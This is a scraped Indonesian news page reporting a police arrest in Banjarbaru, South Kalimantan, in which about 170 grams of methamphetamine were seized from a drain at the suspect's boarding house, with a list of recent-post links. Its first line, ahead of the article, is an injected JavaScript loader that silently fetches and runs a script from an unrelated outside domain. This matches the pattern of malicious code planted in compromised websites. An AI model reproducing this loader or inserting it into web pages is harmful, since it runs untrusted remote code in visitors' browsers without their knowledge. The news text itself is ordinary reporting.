(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ratusan Gram Sabu Berhasil Diamankan Unit Reskrim Banjarbaru Barat


KANALKALIMANTAN.COM, BANJARBARU – Berawal dari laporan warga, Muliadi alias Yadi harus berurusan dengan polisi karena kasus penyalahgunaan narkoba. Ia diamankan Unit Opsnal Reskrim Polsek Banjarbaru Barat pada Rabu (13/10/2021) sekitar jam 15.30 Wita.

Kapolsek Banjarbaru Barat AKP Yuda Kumoro Pardede melalu Kasi Humas Polsek Banjarbaru Barat Aiptu Kardi Gunadi menerangkan, pengungkapan narkoba jenis sabu-sabu merupakan yang terbesar di Polsek Banjarbaru Barat.

“Saya berharap masyarakat bisa berkontribusi memberikan informasi tentang narkotika yang masih banyak beredar. Dengan harapan wilayah Kota Banjarbaru terbebas dari pengedar dan pengguna Narkotika,” katanya kepada Kanalkalimantan.com, Kamis (14/10/2021).

Ratusan gram sabu berhasil diamankan Unit Opsnal Reskrim Polsek Banjarbaru Barat setelah sebelumnya pelaku berniat mengelabui petugas dengan menyimpan sabu di dalam saluran pembuangan. Dengan kejelian petugas barang haram tersebut berhasil ditemukan saat penggeledahan di kost pelaku yang beralamat di Jalan Sungai Karangan, Kelurahan Landasan Ulin Timur.

 

Baca juga : Ribuan Tenaga Kontrak Pemkab Kapuas Tahun 2022 Terancam Putus, Ini Sebabnya

“Didapat satu plastik hitam dan berlakban di saluran pembuangan air dibagian belakang dekat kamar mandi,” tambahnya.

Adapun barang bukti yang berhasil diamankan petugas berupa 1 plastik klip besar narkotika jenis sabu-sabu dengan berat bersih 143,79 gram. Lalu 1 plastik klip kecil narkotika jenis sabu-sabu dengan berat berat bersih 3,78 gram, 1 plastik klip kecil berat kotor 5,21 gram dan berat bersih 4,77 gram, 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram, 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram dan 1 plastik klip kecil berat kotor 5,21 gram dan berat bersih 4,77 gram.

Kemudian, 1 plastik klip kecil narkotika jenis sabu-sabu dengan berat kotor 5,23 gram dan berat bersih 4,79 gram, 1 plastik klip kecil berat kotor 4,94 gram dan berat bersih 4,50 gram, 1 plastik klip kecil berat kotor 5,27 gram dan berat bersih 4,83 gram, dan 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram.

Dengan adanya temuan dan dugaan peredaran gelap dan penyalahgunaan narkotika golongan I jenis sab-sabu tersebut pelaku dijatuhi Pasal 114 Ayat (2) sub Pasal 112 Ayat (2) UU RI No. 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

2 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

2 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

4 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

6 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

7 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

8 jam ago

This website uses cookies.